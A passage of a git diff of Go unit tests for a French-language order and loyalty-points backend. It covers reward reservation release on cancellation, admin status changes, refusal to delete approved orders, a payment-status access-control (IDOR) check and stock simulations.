if err := testDB.GDB.Transaction(func(tx *gorm.DB) error {
|
||||
return testDB.ReleaseRewardReservationsForCommandTx(tx, cmdID, username)
|
||||
}); err != nil {
|
||||
t.Fatalf("ReleaseRewardReservationsForCommandTx: %v", err)
|
||||
}
|
||||
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 3 {
|
||||
t.Errorf("commande sans article récompense: redeemed ne doit pas bouger: got=%d want=3", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReleaseRewardReservationsForCommandTx_FloorsAtZero(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "release_floor_zero")
|
||||
productID := newTestProduct(t, "ReleaseFloorZero", 5)
|
||||
// redeemed déjà à 0 (incohérence volontaire pour vérifier l'absence de négatif).
|
||||
cmdID := newTestCommandWithItem(t, username, "pending", "", productID, 1, 0)
|
||||
insertRewardCommandItem(t, cmdID, productID, 1, 0, "pool_0")
|
||||
|
||||
if err := testDB.GDB.Transaction(func(tx *gorm.DB) error {
|
||||
return testDB.ReleaseRewardReservationsForCommandTx(tx, cmdID, username)
|
||||
}); err != nil {
|
||||
t.Fatalf("ReleaseRewardReservationsForCommandTx: %v", err)
|
||||
}
|
||||
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 0 {
|
||||
t.Errorf("redeemed ne doit jamais devenir négatif: got=%d want=0", got)
|
||||
}
|
||||
}
|
||||
|
||||
// ── Intégration avec les 3 chemins d'annulation réels ───────────────────────
|
||||
|
||||
func TestCancelCommandAtomic_WithRewardItem_ReleasesReservation(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "cancel_client_reward")
|
||||
rewardProductID := newTestProduct(t, "CancelClientRewardFree", 5)
|
||||
paidProductID := newTestProduct(t, "CancelClientRewardPaid", 10)
|
||||
setClientPoolPoints(t, username, "pool_0", 20)
|
||||
testDB.ClaimPoolReward(username, "pool_0", 20)
|
||||
|
||||
cmdID := newTestCommandWithItem(t, username, "pending", "", paidProductID, 1, 10)
|
||||
insertRewardCommandItem(t, cmdID, rewardProductID, 1, 0, "pool_0")
|
||||
|
||||
if _, err := testDB.CancelCommandAtomic(cmdID, username, "test", false); err != nil {
|
||||
t.Fatalf("CancelCommandAtomic: %v", err)
|
||||
}
|
||||
|
||||
if got := commandStatus(t, cmdID); got != "cancelled" {
|
||||
t.Errorf("statut: got=%s want=cancelled", got)
|
||||
}
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 0 {
|
||||
t.Errorf("redeemed après annulation client d'une commande avec récompense: got=%d want=0", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCancelCommandAtomic_WithoutRewardItem_DoesNotTouchPoints(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "cancel_client_noreward")
|
||||
productID := newTestProduct(t, "CancelClientNoReward", 5)
|
||||
setClientPoolRedeemed(t, username, "pool_0", 2) // sentinelle sans rapport avec cette commande
|
||||
cmdID := newTestCommandWithItem(t, username, "pending", "", productID, 1, 10)
|
||||
|
||||
if _, err := testDB.CancelCommandAtomic(cmdID, username, "test", false); err != nil {
|
||||
t.Fatalf("CancelCommandAtomic: %v", err)
|
||||
}
|
||||
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 2 {
|
||||
t.Errorf("annulation sans récompense: redeemed ne doit pas bouger: got=%d want=2", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCancelDeliveryByLivreurAtomic_WithRewardItem_ReleasesReservation(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "cancel_livreur_reward")
|
||||
rewardProductID := newTestProduct(t, "CancelLivreurRewardFree", 5)
|
||||
paidProductID := newTestProduct(t, "CancelLivreurRewardPaid", 10)
|
||||
setClientPoolPoints(t, username, "pool_0", 20)
|
||||
testDB.ClaimPoolReward(username, "pool_0", 20)
|
||||
|
||||
cmdID := newTestCommandWithItem(t, username, "en_route", testUserPrefix+"livreurY", paidProductID, 1, 10)
|
||||
insertRewardCommandItem(t, cmdID, rewardProductID, 1, 0, "pool_0")
|
||||
|
||||
if _, _, err := testDB.CancelDeliveryByLivreurAtomic(cmdID); err != nil {
|
||||
t.Fatalf("CancelDeliveryByLivreurAtomic: %v", err)
|
||||
}
|
||||
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 0 {
|
||||
t.Errorf("redeemed après annulation livreur d'une commande avec récompense: got=%d want=0", got)
|
||||
}
|
||||
}
|
||||
|
||||
// Un livreur ne devrait jamais voir une commande "approved" dans sa file,
|
||||
// mais si c'est pourtant le cas (incohérence), les points déjà réglés à
|
||||
// l'approbation ne doivent pas être rouverts.
|
||||
func TestCancelDeliveryByLivreurAtomic_AlreadyApproved_DoesNotTouchPoints(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "cancel_livreur_approved")
|
||||
rewardProductID := newTestProduct(t, "CancelLivreurApprovedFree", 5)
|
||||
paidProductID := newTestProduct(t, "CancelLivreurApprovedPaid", 10)
|
||||
setClientPoolRedeemed(t, username, "pool_0", 5) // sentinelle : doit rester intacte
|
||||
|
||||
cmdID := newTestCommandWithItem(t, username, "approved", testUserPrefix+"livreurY", paidProductID, 1, 10)
|
||||
insertRewardCommandItem(t, cmdID, rewardProductID, 1, 0, "pool_0")
|
||||
|
||||
if _, _, err := testDB.CancelDeliveryByLivreurAtomic(cmdID); !errors.Is(err, db.ErrCommandAlreadyDelivered) {
|
||||
t.Fatalf("une commande approuvée ne doit pas être annulable par le livreur: err=%v", err)
|
||||
}
|
||||
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 5 {
|
||||
t.Errorf("une commande déjà approuvée ne doit jamais voir ses points retouchés: got=%d want=5", got)
|
||||
}
|
||||
}
|
||||
|
||||
func adminCancelCtx(commandID int) (*gin.Context, *httptest.ResponseRecorder) {
|
||||
body, _ := json.Marshal(map[string]string{"status": "cancelled"})
|
||||
req := httptest.NewRequest(http.MethodPut, "/api/v2/admin/protected/orders/x/status", bytes.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
rec := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(rec)
|
||||
c.Request = req
|
||||
c.Set("database", testDB)
|
||||
c.Set("role", "admin")
|
||||
c.Params = gin.Params{{Key: "id", Value: strconv.Itoa(commandID)}}
|
||||
return c, rec
|
||||
}
|
||||
|
||||
func TestUpdateCommandStatusAdmin_PreApprovedWithRewardItem_ReleasesReservation(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "admincancel_reward_pre")
|
||||
rewardProductID := newTestProduct(t, "AdminCancelRewardPreFree", 5)
|
||||
paidProductID := newTestProduct(t, "AdminCancelRewardPrePaid", 10)
|
||||
setClientPoolPoints(t, username, "pool_0", 20)
|
||||
testDB.ClaimPoolReward(username, "pool_0", 20)
|
||||
|
||||
cmdID := newTestCommandWithItem(t, username, "livre", "", paidProductID, 1, 10)
|
||||
insertRewardCommandItem(t, cmdID, rewardProductID, 1, 0, "pool_0")
|
||||
|
||||
c, rec := adminCancelCtx(cmdID)
|
||||
handlers.UpdateCommandStatusAdmin(c)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status HTTP: got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 0 {
|
||||
t.Errorf("redeemed après annulation admin d'une commande 'livre' avec récompense: got=%d want=0", got)
|
||||
}
|
||||
}
|
||||
|
||||
// La règle métier centrale du correctif 3 : une commande déjà "approved"
|
||||
// (points gagnés déjà crédités, points de récompense déjà déduits au moment
|
||||
// de l'approbation) ne doit plus voir ses points touchés du tout quand un
|
||||
// admin l'annule après coup — ni la réservation, ni le solde.
|
||||
func TestUpdateCommandStatusAdmin_AlreadyApprovedWithRewardItem_DoesNotTouchPoints(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "admincancel_reward_post")
|
||||
rewardProductID := newTestProduct(t, "AdminCancelRewardPostFree", 5)
|
||||
paidProductID := newTestProduct(t, "AdminCancelRewardPostPaid", 10)
|
||||
// Sentinelle : une réservation d'une AUTRE commande non liée, toujours en
|
||||
// cours, qui ne doit surtout pas être libérée par l'annulation de celle-ci.
|
||||
setClientPoolRedeemed(t, username, "pool_0", 3)
|
||||
setClientPoolPoints(t, username, "pool_0", 17) // solde déjà réglé par une approbation antérieure
|
||||
|
||||
cmdID := newTestCommandWithItem(t, username, "approved", "", paidProductID, 1, 10)
|
||||
insertRewardCommandItem(t, cmdID, rewardProductID, 1, 0, "pool_0")
|
||||
|
||||
pointsBefore := clientPointsExtra(t, username)["pool_0"]
|
||||
|
||||
c, rec := adminCancelCtx(cmdID)
|
||||
handlers.UpdateCommandStatusAdmin(c)
|
||||
if rec.Code != http.StatusConflict {
|
||||
t.Fatalf("une commande approuvée ne doit pas être annulable: got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 3 {
|
||||
t.Errorf("redeemed ne doit pas bouger pour une commande déjà approuvée: got=%d want=3", got)
|
||||
}
|
||||
if got := clientPointsExtra(t, username)["pool_0"]; got != pointsBefore {
|
||||
t.Errorf("points_extra ne doit pas bouger pour une commande déjà approuvée: got=%d want=%d", got, pointsBefore)
|
||||
}
|
||||
}
|
||||
|
||||
// ════════════════════════════════════════════════════════════════════════
|
||||
// Correctif annexe — CalculateAndAddPointsForCommandTx ne doit déduire le
|
||||
// seuil qu'une fois par pool distinct, pas une fois par ligne récompense.
|
||||
// ════════════════════════════════════════════════════════════════════════
|
||||
|
||||
func TestCalculateAndAddPointsForCommandTx_MultipleRewardRowsSamePool_DeductsThresholdOnce(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "points_dedup_reward_rows")
|
||||
paidProductID := newTestProduct(t, "PointsDedupPaid", 20)
|
||||
rewardProductA := newTestProduct(t, "PointsDedupRewardA", 5)
|
||||
rewardProductB := newTestProduct(t, "PointsDedupRewardB", 5)
|
||||
setPointsPoolsSettings(t, []models.PointsPool{
|
||||
{Key: "pool_0", Name: "Pool Test", Categories: []string{"test"}, Tiers: []models.PointsTier{{Min: 0, Max: 0, Points: 3}}},
|
||||
})
|
||||
setPointsRewardSettings(t, models.PointsReward{Threshold: 20})
|
||||
setClientPoolPoints(t, username, "pool_0", 25)
|
||||
|
||||
cmdID := newTestCommandWithItem(t, username, "livre", "", paidProductID, 1, 10)
|
||||
// Simule une seule réclamation ayant ajouté 2 produits éligibles pour le
|
||||
// même pool (une seule réservation réellement consommée).
|
||||
insertRewardCommandItem(t, cmdID, rewardProductA, 1, 0, "pool_0")
|
||||
insertRewardCommandItem(t, cmdID, rewardProductB, 1, 0, "pool_0")
|
||||
|
||||
testDB.GDB.Transaction(func(tx *gorm.DB) error {
|
||||
pts, _, err := testDB.CalculateAndAddPointsForCommandTx(tx, cmdID, username)
|
||||
if err != nil {
|
||||
t.Fatalf("CalculateAndAddPointsForCommandTx: %v", err)
|
||||
}
|
||||
if pts != 3 {
|
||||
t.Errorf("points gagnés sur l'article payant: got=%d want=3", pts)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
// 25 (initial) + 3 (gagnés) - 20 (seuil déduit UNE SEULE FOIS) = 8.
|
||||
// Sans le DISTINCT, le code déduirait 20 deux fois (une par ligne) et
|
||||
// finirait à 0 (plancher), pas 8.
|
||||
if got := clientPointsExtra(t, username)["pool_0"]; got != 8 {
|
||||
t.Errorf("points_extra après déduction d'une récompense à 2 lignes: got=%d want=8", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCalculateAndAddPointsForCommandTx_MultipleRewardRowsSamePool_DecrementsRedeemedOnce(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "points_dedup_redeemed")
|
||||
paidProductID := newTestProduct(t, "PointsDedupRedeemedPaid", 20)
|
||||
rewardProductA := newTestProduct(t, "PointsDedupRedeemedA", 5)
|
||||
rewardProductB := newTestProduct(t, "PointsDedupRedeemedB", 5)
|
||||
setPointsPoolsSettings(t, []models.PointsPool{
|
||||
{Key: "pool_0", Name: "Pool Test", Categories: []string{"test"}, Tiers: []models.PointsTier{{Min: 0, Max: 0, Points: 0}}},
|
||||
})
|
||||
setPointsRewardSettings(t, models.PointsReward{Threshold: 20})
|
||||
setClientPoolPoints(t, username, "pool_0", 40)
|
||||
// 2 au lieu de 1 pour distinguer "décrémenté une fois" (-> 1) de
|
||||
// "décrémenté une fois par ligne" (-> 0).
|
||||
setClientPoolRedeemed(t, username, "pool_0", 2)
|
||||
|
||||
cmdID := newTestCommandWithItem(t, username, "livre", "", paidProductID, 1, 10)
|
||||
insertRewardCommandItem(t, cmdID, rewardProductA, 1, 0, "pool_0")
|
||||
insertRewardCommandItem(t, cmdID, rewardProductB, 1, 0, "pool_0")
|
||||
|
||||
testDB.GDB.Transaction(func(tx *gorm.DB) error {
|
||||
_, _, err := testDB.CalculateAndAddPointsForCommandTx(tx, cmdID, username)
|
||||
if err != nil {
|
||||
t.Fatalf("CalculateAndAddPointsForCommandTx: %v", err)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
if got := clientPointsRedeemed(t, username)["pool_0"]; got != 1 {
|
||||
t.Errorf("redeemed après approbation (2 lignes, même pool, une seule réservation): got=%d want=1", got)
|
||||
}
|
||||
}
|
||||
@@ -224,51 +224,6 @@ func TestClaimMyReward_HTTPFlow_FailsAtomicallyWhenProductMissing(t *testing.T)
|
||||
}
|
||||
}
|
||||
|
||||
// Si les catégories configurées sur la récompense ne correspondent à aucune
|
||||
// catégorie du pool réclamé (erreur de configuration admin : pool assigné à
|
||||
// "test", récompense configurée sur "other"), la liste de produits éligibles
|
||||
// est vide et la réclamation doit échouer avant de consommer un point —
|
||||
// sinon points_redeemed serait incrémenté sans qu'aucun produit ne soit
|
||||
// jamais ajouté au panier (régression couverte : la récompense était
|
||||
// auparavant "consommée" silencieusement sans rien livrer).
|
||||
func TestClaimMyReward_HTTPFlow_RejectsWhenNoEligibleItemsForPoolCategories(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "reward_http_no_eligible")
|
||||
newTestProduct(t, "RewardHTTPNoEligible", 5)
|
||||
|
||||
configureRewardSettings(t, &models.PointsReward{
|
||||
Threshold: 20,
|
||||
CategoryConfigs: []models.RewardCategoryConfig{
|
||||
{Category: "other", Type: "free_product", AllProducts: true, Quantity: 1},
|
||||
},
|
||||
})
|
||||
setClientPoolPoints(t, username, "pool_0", 25)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{"pool_key": "pool_0"})
|
||||
c, rec := claimRewardContext(username, body)
|
||||
handlers.ClaimMyReward(c)
|
||||
|
||||
if rec.Code != http.StatusConflict {
|
||||
t.Fatalf("status HTTP: got=%d want=%d body=%s", rec.Code, http.StatusConflict, rec.Body.String())
|
||||
}
|
||||
|
||||
points, redeemed, err := testDB.GetClientPointsAndRewards(username)
|
||||
if err != nil {
|
||||
t.Fatalf("GetClientPointsAndRewards: %v", err)
|
||||
}
|
||||
if redeemed["pool_0"] != 0 {
|
||||
t.Errorf("la récompense ne doit PAS être consommée si aucun produit n'est éligible: got redeemed=%d want=0", redeemed["pool_0"])
|
||||
}
|
||||
if points["pool_0"] != 25 {
|
||||
t.Errorf("les points accumulés ne doivent pas être touchés: got=%d want=25", points["pool_0"])
|
||||
}
|
||||
|
||||
rows := basketRewardItems(t, username)
|
||||
if len(rows) != 0 {
|
||||
t.Errorf("aucun produit récompense ne doit être ajouté au panier: %+v", rows)
|
||||
}
|
||||
}
|
||||
|
||||
// Une même catégorie peut avoir les deux types de récompense actifs en
|
||||
// parallèle (un lot de produits offerts + un lot de produits à -50%), chacun
|
||||
// avec sa propre sélection de produits et sa propre quantité. Un seul claim
|
||||
|
||||
@@ -1,215 +0,0 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"gestion/handlers"
|
||||
"gestion/models"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strconv"
|
||||
"testing"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
func statusAdminCtx(commandID int, status string) (*gin.Context, *httptest.ResponseRecorder) {
|
||||
body, _ := json.Marshal(map[string]string{"status": status})
|
||||
req := httptest.NewRequest(http.MethodPut, "/api/v2/admin/protected/orders/x/status", bytes.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
rec := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(rec)
|
||||
c.Request = req
|
||||
c.Set("database", testDB)
|
||||
c.Set("role", "admin")
|
||||
c.Set("username", "admin_test")
|
||||
c.Params = gin.Params{{Key: "id", Value: strconv.Itoa(commandID)}}
|
||||
return c, rec
|
||||
}
|
||||
|
||||
// ════════════════════════════════════════════════════════════════════════
|
||||
// DeleteCommandByCabine / DeleteCommandAtomic — refus sur commande
|
||||
// déjà livrée/approuvée (plus de suppression physique d'une preuve de
|
||||
// transaction, quel que soit le rôle).
|
||||
// ════════════════════════════════════════════════════════════════════════
|
||||
|
||||
func TestDeleteCommandByCabine_RejectsApprovedOrder(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "delcab_approved")
|
||||
productID := newTestProduct(t, "DelCabApproved", 10)
|
||||
cmdID := newTestCommandWithItem(t, username, "approved", "", productID, 1, 10)
|
||||
|
||||
c, rec := cmdContext(http.MethodDelete, testUserPrefix+"delcab_approved_actor", "cabine", nil, cmdID)
|
||||
handlers.DeleteCommandByCabine(c)
|
||||
|
||||
if rec.Code != http.StatusConflict {
|
||||
t.Fatalf("status HTTP: got=%d want=%d body=%s", rec.Code, http.StatusConflict, rec.Body.String())
|
||||
}
|
||||
var count int64
|
||||
testDB.GDB.Raw(`SELECT COUNT(*) FROM commandes WHERE id = ?`, cmdID).Scan(&count)
|
||||
if count != 1 {
|
||||
t.Errorf("la commande approuvée ne doit pas être supprimée: got=%d lignes want=1", count)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeleteCommandByCabine_RejectsDeliveredOrder(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "delcab_livre")
|
||||
productID := newTestProduct(t, "DelCabLivre", 10)
|
||||
cmdID := newTestCommandWithItem(t, username, "livre", "", productID, 1, 10)
|
||||
|
||||
c, rec := cmdContext(http.MethodDelete, testUserPrefix+"delcab_livre_actor", "admin", nil, cmdID)
|
||||
handlers.DeleteCommandByCabine(c)
|
||||
|
||||
if rec.Code != http.StatusConflict {
|
||||
t.Fatalf("status HTTP: got=%d want=%d body=%s", rec.Code, http.StatusConflict, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
// Régression: le cas non-terminal (pending) doit toujours fonctionner.
|
||||
func TestDeleteCommandByCabine_StillWorksOnPendingOrder(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "delcab_pending_ok")
|
||||
productID := newTestProduct(t, "DelCabPendingOk", 10)
|
||||
cmdID := newTestCommandWithItem(t, username, "pending", "", productID, 1, 10)
|
||||
|
||||
c, rec := cmdContext(http.MethodDelete, testUserPrefix+"delcab_pending_actor", "cabine", nil, cmdID)
|
||||
handlers.DeleteCommandByCabine(c)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status HTTP: got=%d want=%d body=%s", rec.Code, http.StatusOK, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
// ════════════════════════════════════════════════════════════════════════
|
||||
// UpdateCommandStatusAdmin — le passage à "approved" doit déléguer à
|
||||
// ApproveDeliveryAtomicByStaff (points crédités), pas un UPDATE brut.
|
||||
// ════════════════════════════════════════════════════════════════════════
|
||||
|
||||
func TestUpdateCommandStatusAdmin_ApprovedDelegatesToStaffApproval(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "statusadmin_approve_ok")
|
||||
productID := newTestProduct(t, "StatusAdminApproveOk", 20)
|
||||
setPointsPoolsSettings(t, []models.PointsPool{
|
||||
{Key: "pool_0", Name: "Pool Test", Categories: []string{"test"}, Tiers: []models.PointsTier{{Min: 0, Max: 0, Points: 6}}},
|
||||
})
|
||||
cmdID := newTestCommandWithItem(t, username, "livre", "", productID, 1, 10)
|
||||
|
||||
c, rec := statusAdminCtx(cmdID, "approved")
|
||||
handlers.UpdateCommandStatusAdmin(c)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status HTTP: got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if got := commandStatus(t, cmdID); got != "approved" {
|
||||
t.Errorf("statut: got=%s want=approved", got)
|
||||
}
|
||||
// Preuve que ça passe bien par le pipeline transactionnel et pas un
|
||||
// UPDATE brut : les points sont effectivement crédités.
|
||||
if got := clientPointsExtra(t, username)["pool_0"]; got != 6 {
|
||||
t.Errorf("points_extra après passage à 'approved' via ce endpoint: got=%d want=6 (doit passer par ApproveDeliveryAtomicByStaff)", got)
|
||||
}
|
||||
}
|
||||
|
||||
// Ne doit pas permettre de sauter l'étape "livre" depuis un statut trop en
|
||||
// amont (ApproveDeliveryAtomicByStaff a ses propres garde-fous de statut).
|
||||
func TestUpdateCommandStatusAdmin_ApprovedFromPendingIsRejected(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "statusadmin_approve_pending")
|
||||
productID := newTestProduct(t, "StatusAdminApprovePending", 20)
|
||||
setPointsPoolsSettings(t, []models.PointsPool{
|
||||
{Key: "pool_0", Name: "Pool Test", Categories: []string{"test"}, Tiers: []models.PointsTier{{Min: 0, Max: 0, Points: 6}}},
|
||||
})
|
||||
cmdID := newTestCommandWithItem(t, username, "cancelled", "", productID, 1, 10)
|
||||
|
||||
c, rec := statusAdminCtx(cmdID, "approved")
|
||||
handlers.UpdateCommandStatusAdmin(c)
|
||||
|
||||
if rec.Code == http.StatusOK {
|
||||
t.Fatalf("approuver une commande 'cancelled' ne doit pas réussir: body=%s", rec.Body.String())
|
||||
}
|
||||
if got := commandStatus(t, cmdID); got != "cancelled" {
|
||||
t.Errorf("le statut ne doit pas changer sur un rejet: got=%s want=cancelled", got)
|
||||
}
|
||||
if got := clientPointsExtra(t, username)["pool_0"]; got != 0 {
|
||||
t.Errorf("aucun point ne doit être crédité sur un rejet: got=%d want=0", got)
|
||||
}
|
||||
}
|
||||
|
||||
// Régression: le passage à "cancelled" via ce même endpoint continue de
|
||||
// fonctionner (chemin déjà correct, CancelCommandByAdminAtomic).
|
||||
func TestUpdateCommandStatusAdmin_CancelledStillWorks(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "statusadmin_cancel_ok")
|
||||
productID := newTestProduct(t, "StatusAdminCancelOk", 20)
|
||||
cmdID := newTestCommandWithItem(t, username, "pending", "", productID, 1, 10)
|
||||
|
||||
c, rec := adminCancelCtx(cmdID)
|
||||
handlers.UpdateCommandStatusAdmin(c)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status HTTP: got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if got := commandStatus(t, cmdID); got != "cancelled" {
|
||||
t.Errorf("statut: got=%s want=cancelled", got)
|
||||
}
|
||||
}
|
||||
|
||||
// ════════════════════════════════════════════════════════════════════════
|
||||
// GetCommandPaymentStatus — IDOR : un client ne doit voir que le paiement
|
||||
// crypto de ses propres commandes.
|
||||
// ════════════════════════════════════════════════════════════════════════
|
||||
|
||||
func newTestCryptoPayment(t *testing.T, commandID int) {
|
||||
t.Helper()
|
||||
if err := testDB.GDB.Exec(
|
||||
`INSERT INTO crypto_payments (command_id, nowpayment_id, status, price_amount, price_currency, pay_currency, pay_address, pay_amount)
|
||||
VALUES (?, 'np-test-id', 'waiting', 10.00, 'eur', 'btc', 'bc1qtestaddress', 0.0001)`,
|
||||
commandID,
|
||||
).Error; err != nil {
|
||||
t.Fatalf("newTestCryptoPayment: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetCommandPaymentStatus_RejectsOtherClientsOrder(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
owner := newTestClient(t, "payment_idor_owner")
|
||||
intruder := newTestClient(t, "payment_idor_intruder")
|
||||
productID := newTestProduct(t, "PaymentIDORProduct", 10)
|
||||
cmdID := newTestCommandWithItem(t, owner, "pending_payment", "", productID, 1, 10)
|
||||
newTestCryptoPayment(t, cmdID)
|
||||
|
||||
c, rec := cmdContext(http.MethodGet, intruder, "client", nil, cmdID)
|
||||
handlers.GetCommandPaymentStatus(c)
|
||||
|
||||
if rec.Code != http.StatusForbidden {
|
||||
t.Fatalf("status HTTP: got=%d want=%d body=%s", rec.Code, http.StatusForbidden, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetCommandPaymentStatus_AllowsOwner(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
owner := newTestClient(t, "payment_idor_owner_ok")
|
||||
productID := newTestProduct(t, "PaymentIDOROwnerOk", 10)
|
||||
cmdID := newTestCommandWithItem(t, owner, "pending_payment", "", productID, 1, 10)
|
||||
newTestCryptoPayment(t, cmdID)
|
||||
|
||||
c, rec := cmdContext(http.MethodGet, owner, "client", nil, cmdID)
|
||||
handlers.GetCommandPaymentStatus(c)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status HTTP: got=%d want=%d body=%s", rec.Code, http.StatusOK, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetCommandPaymentStatus_UnknownCommandReturns404(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "payment_idor_unknown")
|
||||
|
||||
c, rec := cmdContext(http.MethodGet, username, "client", nil, 99999999)
|
||||
handlers.GetCommandPaymentStatus(c)
|
||||
|
||||
if rec.Code != http.StatusNotFound {
|
||||
t.Fatalf("status HTTP: got=%d want=%d body=%s", rec.Code, http.StatusNotFound, rec.Body.String())
|
||||
}
|
||||
}
|
||||
@@ -51,16 +51,15 @@ func TestTotalRevenue_NetsReferralAndExcludesNonApproved(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TotalOrders compte uniquement les commandes actives (même périmètre que le
|
||||
// dashboard) : les commandes terminées (approved) et annulées sont exclues.
|
||||
func TestTotalOrders_CountsOnlyActiveOrders(t *testing.T) {
|
||||
// TotalOrders exclut uniquement les commandes annulées (contrairement à
|
||||
// TotalRevenue, il compte aussi les commandes non encore approuvées).
|
||||
func TestTotalOrders_ExcludesOnlyCancelled(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "stats_total_orders")
|
||||
productID := newTestProduct(t, "StatsTotalOrders", 100)
|
||||
now := time.Now()
|
||||
|
||||
newTestOrderForStats(t, username, "pending", productID, 1, 10, 0, now)
|
||||
newTestOrderForStats(t, username, "en_route", productID, 1, 10, 0, now)
|
||||
newTestOrderForStats(t, username, "approved", productID, 1, 10, 0, now)
|
||||
newTestOrderForStats(t, username, "cancelled", productID, 1, 10, 0, now)
|
||||
|
||||
@@ -69,7 +68,7 @@ func TestTotalOrders_CountsOnlyActiveOrders(t *testing.T) {
|
||||
t.Fatalf("TotalOrders: %v", err)
|
||||
}
|
||||
if total != 2 {
|
||||
t.Errorf("TotalOrders: got=%d want=2 (pending+en_route ; approved et cancelled exclues)", total)
|
||||
t.Errorf("TotalOrders: got=%d want=2 (pending+approved, cancelled exclue)", total)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,500 +0,0 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"math"
|
||||
"math/rand"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// Simulations sur un produit à exactement 1000 g.
|
||||
|
||||
func newProduct1000g(t *testing.T, name string) (int, string) {
|
||||
t.Helper()
|
||||
cat := "cat1000_" + name
|
||||
id := newTestProduct(t, name, 1000)
|
||||
testDB.GDB.Exec(`UPDATE products SET unit = 'g', category = ? WHERE id = ?`, cat, id)
|
||||
testDB.GDB.Exec(`INSERT INTO product_prices (product_id, quantity, price, active_price) VALUES (?, 0.001, 0.01, true)`, id)
|
||||
return id, cat
|
||||
}
|
||||
|
||||
// Stock attendu = 1000 − quantités des commandes non annulées encore en base.
|
||||
func expectedFromOrders(t *testing.T, productID int) float64 {
|
||||
t.Helper()
|
||||
var sold float64
|
||||
testDB.GDB.Raw(`
|
||||
SELECT COALESCE(SUM(ci.quantite), 0)::float8 FROM command_items ci
|
||||
JOIN commandes c ON c.id = ci.command_id
|
||||
WHERE ci.product_id = ? AND c.status <> 'cancelled'`, productID).Scan(&sold)
|
||||
return 1000 - sold
|
||||
}
|
||||
|
||||
func expectNear(t *testing.T, productID int, want float64, why string) {
|
||||
t.Helper()
|
||||
got := productStock(t, productID)
|
||||
if math.Abs(got-want) > 1e-9 {
|
||||
t.Errorf("❌ stock=%.3f g, attendu=%.3f g (écart %+.3f) — %s", got, want, got-want, why)
|
||||
} else {
|
||||
t.Logf("✅ stock=%.3f g — %s", got, why)
|
||||
}
|
||||
}
|
||||
|
||||
func checkout(username string, items map[int]float64, order []int) (int, error) {
|
||||
for _, pid := range order {
|
||||
if _, err := testDB.AddToBasket(username, pid, items[pid]); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
